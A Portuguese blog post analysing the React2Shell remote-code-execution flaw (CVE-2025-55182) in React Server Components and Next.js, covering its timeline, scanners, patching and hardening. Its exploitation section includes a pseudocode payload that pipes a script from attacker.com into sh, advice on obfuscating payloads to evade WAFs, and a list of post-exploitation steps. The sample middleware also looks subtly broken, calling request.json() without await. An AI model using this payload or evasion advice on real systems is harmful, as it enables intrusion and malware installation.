React2Shell: RCE Crítico em React & Next.js

# React2Shell (CVE-2025-55182): Uma Análise Profunda de uma Vulnerabilidade Crítica no React

*Por Lachlan Davidson*  
*Última atualização: 4 de dezembro de 2025*

---

## Índice

1. [Introdução](#introdução)
2. [Contexto e Linha do Tempo](#contexto-e-linha-do-tempo)
3. [Entendendo o React2Shell](#entendendo-o-react2shell)  
   - [O que é o React2Shell?](#o-que-é-o-react2shell)  
   - [Visão Técnica da Vulnerabilidade](#visão-técnica-da-vulnerabilidade)
4. [O Impacto nos Ecossistemas React e Next.js](#o-impacto-nos-ecossistemas-react-e-nextjs)
5. [Desserialização Insegura e o Protocolo Flight](#desserialização-insegura-e-o-protocolo-flight)
6. [Exploração no Mundo Real e Estudos de Caso](#exploração-no-mundo-real-e-estudos-de-caso)
7. [Técnicas de Detecção e Mitigação](#técnicas-de-detecção-e-mitigação)  
   - [Varredura com Bash e cURL](#varredura-com-bash-e-curl)  
   - [Analisando Dados de Vulnerabilidade com Python](#analisando-dados-de-vulnerabilidade-com-python)  
   - [Dicas para Monitoramento Eficaz](#dicas-para-monitoramento-eficaz)
8. [Técnicas Avançadas de Exploração e Análise Pós-Exploração](#técnicas-avançadas-de-exploração-e-análise-pós-exploração)
9. [Tratando Falsos Positivos: Em Que Não Confiar](#tratando-falsos-positivos-em-que-não-confiar)
10. [Melhores Práticas para Correção e Endurecimento](#melhores-práticas-para-correção-e-endurecimento)
11. [Conclusão](#conclusão)
12. [Referências](#referências)

---

## Introdução

Nos últimos anos, a adoção do React e de seus frameworks associados disparou, impulsionando desde pequenos projetos web até aplicações corporativas de larga escala. Com esse aumento de popularidade, cresce também a preocupação com vulnerabilidades, especialmente as que afetam componentes críticos do ecossistema.

Em 29 de novembro de 2025, eu, Lachlan Davidson, divulguei de forma responsável uma vulnerabilidade devastadora — React2Shell (CVE-2025-55182) — à equipe da Meta. A falha, que afeta implementações server-side de React, particularmente por meio do protocolo “Flight” dos React Server Components (RSC), foi corrigida pelas equipes do React e da Vercel em 3 de dezembro de 2025. Este post apresenta uma análise detalhada da vulnerabilidade, desde seus pormenores técnicos até a exploração no mundo real, além de cobrir as melhores práticas de detecção e mitigação.

Neste artigo, vamos abordar:
- Uma explicação da vulnerabilidade e seu impacto severo no ecossistema.
- Detalhes técnicos sobre por que e como a falha existe.
- Estudos de caso de exploração e comportamento pós-exploração.
- Exemplos de código e comandos de varredura para ajudar a detectar instâncias vulneráveis.
- Melhores práticas para correção e endurecimento de implantações.

Seja você profissional de segurança, desenvolvedor em busca de compreender riscos ou entusiasta de tecnologias web modernas, este blog o guiará desde conceitos iniciais até técnicas avançadas de exploração e defesas proativas.

---

## Contexto e Linha do Tempo

A linha do tempo dos eventos é crucial para entender o gerenciamento de risco e a resposta rápida que cercaram o incidente:

- **29 de novembro de 2025 (PT):** A vulnerabilidade foi divulgada de forma responsável por mim, Lachlan Davidson, à equipe da Meta.  
- **3 de dezembro de 2025 (PT):** As equipes do React e da Vercel publicaram os comunicados iniciais acompanhados dos patches.  
- **4 de dezembro de 2025:** Diversos códigos públicos de Prova de Conceito (PoC) começaram a circular. No entanto, alertou-se para “PoCs” que não refletiam a natureza real da falha.  
- **Pós-patch e Monitoramento:** Pesquisadores como Wiz Research, Amazon Threat Intelligence e Datadog observaram explorações em ambiente real, com campanhas mirando instâncias públicas de Next.js e implantações em nuvem.

Um CVE adicional, o CVE-2025-66478, foi atribuído ao Next.js devido à inclusão “vendored” do React, embora tecnicamente seja um duplicado do CVE-2025-55182. Essa decisão ajuda fornecedores e equipes de segurança a rastrear dependências que scanners tradicionais podem ignorar.

---

## Entendendo o React2Shell

### O que é o React2Shell?

React2Shell refere-se a uma vulnerabilidade crítica (CVE-2025-55182) no ambiente de React Server Components (RSC), afetando especificamente o protocolo “Flight”. A vulnerabilidade permite execução remota de código (RCE) não autenticada no lado do servidor devido a práticas inseguras de desserialização no pacote `react-server`.

Principais características:

- **Gravidade Crítica (10.0):** Avaliada como crítica pela facilidade de exploração e impacto.  
- **RCE Não Autenticada:** Não requer autenticação; um simples request HTTP com payloads específicos compromete o servidor.  
- **Configurações Padrão Vulneráveis:** Implantações padrão de apps Next.js (ex.: criadas com `create-next-app`) são suscetíveis, a menos que endurecidas explicitamente.

### Visão Técnica da Vulnerabilidade

A causa raiz do React2Shell está na forma como o servidor processa payloads de React Server Components. O processo de desserialização não valida adequadamente a estrutura dos dados recebidos. Um invasor pode enviar dados personalizados que, quando desserializados, provocam execução de código não intencional no servidor.

Fluxo simplificado:

1. **Criação do Payload:** O invasor constrói um payload malicioso explorando a lógica de desserialização.  
2. **Request HTTP:** O payload é enviado via requisição HTTP ao servidor vulnerável.  
3. **Desserialização e Execução:** O servidor desserializa o payload sem validação adequada, executando código controlado pelo atacante.  
4. **Execução Remota de Código:** O servidor executa comandos à vontade do invasor, que obtém acesso em nível de shell.

A falha é especialmente perigosa pois a configuração padrão de muitas aplicações não inclui sanitização ou restrições que poderiam mitigar esse risco.

---

## O Impacto nos Ecossistemas React e Next.js

### Por que essa vulnerabilidade é tão perigosa?

1. **Adoção Massiva:** React e Next.js estão entre os frameworks mais populares; milhões de sites podem ser afetados.  
2. **Facilidade de Exploração:** Um request HTTP bem preparado é suficiente, permitindo automação com pouco esforço.  
3. **Alta Taxa de Sucesso:** Testes indicam quase 100 % de confiabilidade sob configurações padrão.  
4. **Exposição Pública:** Mesmo ambientes considerados isolados podem estar em risco, ainda mais se rodarem aplicações Next.js públicas. Dados recentes indicam que 39 % dos ambientes em nuvem possuem instâncias vulneráveis, muitas delas acessíveis publicamente.

### A Exceção do Next.js

O Next.js incorpora o React como dependência “vendored”. Scanners de dependências que analisam apenas `package.json` podem não detectar a vulnerabilidade. Para cobrir essa lacuna, criou-se o CVE-2025-66478. Embora duplicado, o identificador separado garante visibilidade aos usuários de Next.js.

---

## Desserialização Insegura e o Protocolo Flight

### Desserialização Insegura Explicada

Desserialização é o processo de converter dados serializados (JSON, binário etc.) em objetos ou estruturas executáveis. Ela se torna insegura quando:

- **Validação Insuficiente:** Dados não são checados adequadamente, permitindo conteúdo malformado ou malicioso.  
- **Execução de Código Malicioso:** A desserialização falha permite execução de código malicioso — no caso em questão, o payload RSC possibilita execução de código sem sanitização.

### O Protocolo Flight no RSC

Os React Server Components utilizam o protocolo Flight para trocar dados entre servidor e cliente de forma eficiente. Apesar da performance, o protocolo introduziu um vetor de exploração devido à validação insuficiente no pacote `react-server`.

Fluxo ao receber um request Flight:
1. Desserialização do payload.  
2. Interpretação dos dados e mapeamento para instruções de renderização de componentes.  
3. Se manipulado, o servidor pode executar comandos de sistema ou lógica sensível.

Como implantações modernas de Next.js abstraem muito dessa lógica, desenvolvedores costumam assumir que suas apps estão “seguras por padrão”. Infelizmente, essa vulnerabilidade quebra essa premissa.

---

## Exploração no Mundo Real e Estudos de Caso

### Exploração Observada

Pouco após o PoC público, várias campanhas automatizadas foram registradas:  
- **Coleta de Credenciais:** Invasores partiram para capturar credenciais de nuvem, variáveis de ambiente e dados do sistema de arquivos.  
- **Criptomineradores:** Houve instalação de miners como XMRig, frequentemente empacotados com UPX para driblar detecção.  
- **Reconhecimento Pós-Exploração:** Atores avançados usaram a exploit inicial para buscar outras falhas e obter persistência.

### Estudo de Caso: Next.js em Kubernetes

Um incidente real envolveu aplicação Next.js em cluster Kubernetes. O atacante enviou request HTTP aparentemente inofensivo com payload Flight manipulado. Após executado, o atacante:  
- Estabeleceu shell reverso.  
- Acessou segredos e ConfigMaps do cluster.  
- Escalou privilégios até o host subjacente.

Isso mostrou como vulnerabilidade em framework de alto nível pode resultar em penetração profunda em ambientes cloud-native.

### Estudo de Caso: Ataques em Nuvem

Dados da Wiz Research indicam:  
- 39 % dos ambientes em nuvem continham instâncias vulneráveis de React ou Next.js.  
- Muitas implantações eram públicas, favorecendo ataques oportunistas.  
- Relatórios incluem tentativas de exfiltrar credenciais AWS via Base64 para servidores remotos.

Tais incidentes reforçam a importância de postura de segurança abrangente, que não apenas aplique patches, mas monitore comportamento anômalo continuamente.

---

## Técnicas de Detecção e Mitigação

Detecção rápida e aplicação de patches são cruciais para minimizar danos. Abaixo, técnicas e scripts de exemplo para identificar instâncias vulneráveis.

### Varredura com Bash e cURL

```bash
#!/bin/bash
# Scanner de vulnerabilidade simples para React2Shell (CVE-2025-55182)
# Substitua <url_alvo> pela URL que deseja testar.

ALVO="<url_alvo>"
PAYLOAD='{"malicious": "payload"}'  # Payload de exemplo

echo "Escaneando $ALVO para React2Shell..."
RESPOSTA=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$ALVO")

# Analisa resposta em busca de padrões incomuns ou erros
if echo "$RESPOSTA" | grep -q "Error processing Flight payload"; then
    echo "Possível vulnerabilidade detectada em $ALVO"
else
    echo "Nenhum sinal óbvio em $ALVO. Análise adicional recomendada."
fi

Obs.: Script rudimentar — ajuste payload e lógica de análise conforme inteligência de ameaças atual.

Analisando Dados de Vulnerabilidade com Python

import requests, json

def escanear(alvo):
    payload = {"test": "data", "action": "simulate_deserialization"}
    headers = {"Content-Type": "application/json"}

    print(f"Escaneando {alvo} para React2Shell...")
    try:
        r = requests.post(alvo, headers=headers, data=json.dumps(payload), timeout=5)
        if "Error processing Flight payload" in r.text:
            print(f"[!] Possível vulnerabilidade detectada em {alvo}")
        else:
            print(f"[-] Nenhum indício imediato em {alvo}.")
    except requests.exceptions.RequestException as e:
        print(f"[-] Erro ao escanear {alvo}: {e}")

if __name__ == "__main__":
    alvos = [
        "https://exemplo.com/api/flight",
        "https://outro-exemplo.com/api/flight"
    ]
    for alvo in alvos:
        escanear(alvo)

Dicas para Monitoramento Eficaz

Proteção em Tempo de Execução: Muitos provedores de nuvem oferecem proteções runtime.
Monitore Logs: Busque requests HTTP incomuns, especialmente para /api/flight.
Ferramentas de Gerenciamento de Vulnerabilidades: Integre scanners a painéis que sinalizem hosts que precisam de patch imediato.

Técnicas Avançadas de Exploração e Análise Pós-Exploração

Considerações para Desenvolvimento de Exploit

Construção do Payload: Deve contornar validações básicas do Flight, acionando a desserialização insegura.
Bypass de WAF/Proteções Runtime: WAF pode bloquear strings óbvias; payloads obfuscados ou unicode ajudam a contornar.
Cadeia com Outras Falhas: A shell é só o primeiro passo – depois pode-se coletar credenciais, implantar backdoors etc.

// Pseudocódigo ilustrando estrutura de payload malicioso
const payloadMalicioso = {
  component: "ShellExec",
  args: {
    command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
  },
  _meta: {
    timestamp: Date.now(),
    nonce: Math.random().toString(36).substring(2),
  }
};

const serializado = JSON.stringify(payloadMalicioso);
sendToServer(serializado);

Aviso: Código apenas para fins educacionais. Exploração não autorizada é crime.

Passos Pós-Exploração

Estabelecer Shell Reverso
Coletar Dados Sensíveis
Movimentação Lateral
Instalar Software Malicioso (XMRig, RATs etc.)

Defensores devem manter logs detalhados e processos de resposta a incidentes bem definidos.

Tratando Falsos Positivos: Em Que Não Confiar

Falsos positivos podem surgir se scanners detectam funções perigosas porém legítimas, como:

vm#runInThisContext
child_process#exec
fs#writeFile

A presença dessas APIs não indica, por si só, vulnerabilidade ao React2Shell. A falha explora a gestão automática de funções server-side pelo Next.js, independentemente de tais APIs estarem expostas.

Recomendações:

Confronte resultados de scanners com comunicados oficiais.
Analise logs em busca de exploitation real.
Use monitoramento runtime para padrões anômalos, não apenas assinaturas estáticas.

Melhores Práticas para Correção e Endurecimento

Passos de Remediação Imediata

Leia os Comunicados dos Fornecedores.
Aplique o Patch: Atualize para react-server-dom* 19.0.1, 19.1.2 ou 19.2.1.
Proteções Runtime/WAF: Ative e atualize regras enquanto o patch não é possível.
Monitore Comportamento: Use SIEM para erros de desserialização ou execuções suspeitas.
Compartilhe Inteligência: Acompanhe Wiz Research, GreyNoise, Amazon TI etc.

Orientações de Endurecimento

Validação de Entrada: Mesmo após patch, valide qualquer dado serializado.
Limitar Exposição de Endpoints Críticos: Proteja /api/flight com camadas extras.
Auditorias Regulares: Inclua scanners automáticos e revisões manuais de código.
Segregação de Ambientes: Separe interfaces públicas de gestão interna, reduzindo o raio de explosão.

// Middleware Next.js – exemplo de sanitização extra
import { NextResponse } from 'next/server';

export function middleware(request) {
  if (request.nextUrl.pathname.startsWith('/api/flight')) {
    try {
      const body = request.json();
      if (!body || typeof body !== 'object' || !body.component) {
        return new NextResponse('Formato de payload inválido', { status: 400 });
      }
    } catch (err) {
      return new NextResponse('Erro ao processar requisição', { status: 400 });
    }
  }
  return NextResponse.next();
}

React2Shell (CVE-2025-55182) relembra que até frameworks amplamente adotados, como React e Next.js, não estão imunes a vulnerabilidades graves. Enraizada em desserialização insegura no protocolo “Flight”, a falha tem grande alcance devido à severidade, facilidade de exploração e prevalência em configurações padrão.

Principais lições:

Permite RCE não autenticada com esforço mínimo, risco agudo em nuvem pública.
Atinge React e Next.js; o CVE-2025-66478 alerta usuários de Next.js.
Exploração já ocorreu no mundo real, evidenciando a necessidade de detecção e patch rápidos.
Falsos positivos desviam atenção; valide achados e monitore comportamento.
Mantenha dependências atualizadas e múltiplas camadas de defesa.

Compreendendo os detalhes técnicos e o cenário de ameaça, desenvolvedores e profissionais de segurança podem fortalecer suas aplicações contra essa vulnerabilidade crítica.

Referências

Este guia completo deve capacitá-lo a lidar com o React2Shell em sua totalidade — desde os detalhes técnicos da vulnerabilidade até métodos práticos de detecção e mitigação. Mantenha-se atualizado com os comunicados oficiais e refine continuamente sua postura de segurança à medida que novas informações surgem.

Boa codificação (segura)!

React2Shell: RCE Crítico em React & Next.js

Leve Sua Carreira em Cibersegurança para o Próximo Nível